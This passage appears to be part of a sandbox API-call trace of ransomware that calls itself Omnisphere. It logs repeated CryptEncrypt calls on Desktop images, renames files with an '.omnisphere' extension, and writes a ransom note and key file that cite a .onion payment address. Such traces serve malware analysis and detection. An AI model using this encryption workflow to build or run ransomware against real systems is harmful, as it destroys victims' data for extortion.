dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.139] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.139] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.139] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.139] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.139] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.139] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.139] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.140] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.140] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.140] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.140] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.140] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.140] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.140] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.140] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.140] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.140] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.140] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.140] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.140] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.140] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.140] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.140] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.140] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.140] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.140] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.140] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.140] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.141] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.141] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.141] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.141] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.141] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.141] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.141] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.141] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.141] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.141] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.141] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.141] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.141] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.141] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.141] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.141] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.142] CryptDestroyKey (hKey=0x1639ae8) returned 1 [0165.142] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0165.142] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x3a9c, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0165.142] WriteFile (in: hFile=0x39c, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0ebc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0ebc4*=0x524, lpOverlapped=0x0) returned 1 [0165.143] GetProcessHeap () returned 0x1600000 [0165.143] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x26c) returned 0x1776470 [0165.143] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\vNeXlPyODL.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\vnexlpyodl.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\vNeXlPyODL.gif.omnisphere" (normalized: "c:\\users\\fd1hvy\\desktop\\vnexlpyodl.gif.omnisphere")) returned 1 [0165.144] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\vNeXlPyODL.gif.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\vNeXlPyODL.gif.omnisphere.id") returned="C:\\Users\\FD1HVy\\Desktop\\vNeXlPyODL.gif.omnisphere.id" [0165.144] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\vNeXlPyODL.gif.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\desktop\\vnexlpyodl.gif.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0165.184] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e64c, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0e64c*=0x524, lpOverlapped=0x0) returned 1 [0165.186] CloseHandle (hObject=0x3bc) returned 1 [0165.186] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0165.186] CloseHandle (hObject=0x380) returned 1 [0165.186] SetEndOfFile (hFile=0x39c) returned 1 [0165.186] FlushFileBuffers (hFile=0x39c) returned 1 [0165.286] CloseHandle (hObject=0x39c) returned 1 [0165.286] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\Desktop\\vNeXlPyODL.gif" | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0165.286] GetProcessHeap () returned 0x1600000 [0165.286] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x17766e8 [0165.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0165.286] GetProcessHeap () returned 0x1600000 [0165.286] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733c70 [0165.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733c70, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0165.286] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0165.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0165.286] GetProcessHeap () returned 0x1600000 [0165.286] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f6c0 [0165.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f6c0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0165.286] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0165.287] GetProcessHeap () returned 0x1600000 [0165.287] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x17738f8 [0165.287] PathCombineW (in: pszDest=0x17738f8, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" [0165.287] GetProcessHeap () returned 0x1600000 [0165.287] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x17591a8 [0165.287] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0165.287] WriteFile (in: hFile=0x39c, lpBuffer=0x17591a8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0ebe4, lpOverlapped=0x0 | out: lpBuffer=0x17591a8*, lpNumberOfBytesWritten=0x3e0ebe4*=0x588, lpOverlapped=0x0) returned 1 [0165.287] CloseHandle (hObject=0x39c) returned 1 [0165.287] GetProcessHeap () returned 0x1600000 [0165.288] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x17766e8 | out: hHeap=0x1600000) returned 1 [0165.288] GetProcessHeap () returned 0x1600000 [0165.288] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a180 [0165.288] PathCombineW (in: pszDest=0x163a180, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" [0165.288] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0165.288] WriteFile (in: hFile=0x39c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ebf8, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ebf8*=0x5a0, lpOverlapped=0x0) returned 1 [0165.288] CloseHandle (hObject=0x39c) returned 1 [0165.288] GetProcessHeap () returned 0x1600000 [0165.288] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a180 | out: hHeap=0x1600000) returned 1 [0165.288] GetProcessHeap () returned 0x1600000 [0165.288] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1691f20 | out: hHeap=0x1600000) returned 1 [0165.288] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd46a320, ftCreationTime.dwHighDateTime=0x1d4c87c, ftLastAccessTime.dwLowDateTime=0xa5bfdf00, ftLastAccessTime.dwHighDateTime=0x1d4c9ac, ftLastWriteTime.dwLowDateTime=0xa5bfdf00, ftLastWriteTime.dwHighDateTime=0x1d4c9ac, nFileSizeHigh=0x0, nFileSizeLow=0xf5c2, dwReserved0=0x0, dwReserved1=0xf5, cFileName="xC7z5aW2.jpg", cAlternateFileName="")) returned 1 [0165.288] GetProcessHeap () returned 0x1600000 [0165.288] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x58) returned 0x163d538 [0165.288] PathCombineW (in: pszDest=0x163d538, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="xC7z5aW2.jpg" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\xC7z5aW2.jpg") returned="C:\\Users\\FD1HVy\\Desktop\\xC7z5aW2.jpg" [0165.288] StrStrW (lpFirst=".omnisphere", lpSrch=".jpg") returned 0x0 [0165.289] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\xC7z5aW2.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\xc7z5aw2.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0165.289] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e0ebbc | out: lpFileSize=0x3e0ebbc*=62914) returned 1 [0165.289] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xf09e, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0165.289] ReadFile (in: hFile=0x39c, lpBuffer=0x3e0e664, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0ebac, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesRead=0x3e0ebac*=0x524, lpOverlapped=0x0) returned 1 [0165.289] GetTickCount () returned 0x116909f [0165.289] GetTickCount () returned 0x116909f [0165.290] GetTickCount () returned 0x116909f [0165.290] GetTickCount () returned 0x116909f [0165.290] GetTickCount () returned 0x116909f [0165.290] GetTickCount () returned 0x116909f [0165.290] GetTickCount () returned 0x116909f [0165.290] GetTickCount () returned 0x116909f [0165.290] GetTickCount () returned 0x116909f [0165.290] GetTickCount () returned 0x116909f [0165.290] GetTickCount () returned 0x116909f [0165.290] GetTickCount () returned 0x116909f [0165.290] GetTickCount () returned 0x116909f [0165.290] GetTickCount () returned 0x116909f [0165.290] GetTickCount () returned 0x116909f [0165.290] GetTickCount () returned 0x116909f [0165.290] GetTickCount () returned 0x116909f [0165.290] GetTickCount () returned 0x116909f [0165.290] GetTickCount () returned 0x116909f [0165.290] GetTickCount () returned 0x116909f [0165.290] GetTickCount () returned 0x116909f [0165.290] GetTickCount () returned 0x116909f [0165.290] GetTickCount () returned 0x116909f [0165.290] GetTickCount () returned 0x116909f [0165.290] GetTickCount () returned 0x116909f [0165.290] GetTickCount () returned 0x116909f [0165.290] GetTickCount () returned 0x116909f [0165.290] GetTickCount () returned 0x116909f [0165.290] GetTickCount () returned 0x116909f [0165.291] GetTickCount () returned 0x116909f [0165.291] GetTickCount () returned 0x116909f [0165.291] GetTickCount () returned 0x116909f [0165.291] CryptAcquireContextW (in: phProv=0x3e0e644, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e644*=0x1668bd0) returned 1 [0165.291] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0e5ac, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e650 | out: phKey=0x3e0e650*=0x1639b28) returned 1 [0165.291] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x75, dwBufLen=0x80 | out: pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x80) returned 1 [0165.291] CryptDestroyKey (hKey=0x1639b28) returned 1 [0165.291] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0165.291] CreateFileMappingW (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf5c2, lpName=0x0) returned 0x380 [0165.292] MapViewOfFile (hFileMappingObject=0x380, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf5c2) returned 0x1480000 [0165.293] CryptAcquireContextW (in: phProv=0x3e0e634, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e634*=0x16688a0) returned 1 [0165.293] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0e5ec, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e644 | out: phKey=0x3e0e644*=0x1639868) returned 1 [0165.293] CryptSetKeyParam (hKey=0x1639868, dwParam=0x4, pbData=0x3e0e628*=0x2, dwFlags=0x0) returned 1 [0165.293] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e630*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e630*=0x10) returned 1 [0165.293] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.294] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.294] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.294] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.294] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.294] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.294] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.294] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.294] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.294] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.294] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.294] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.294] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 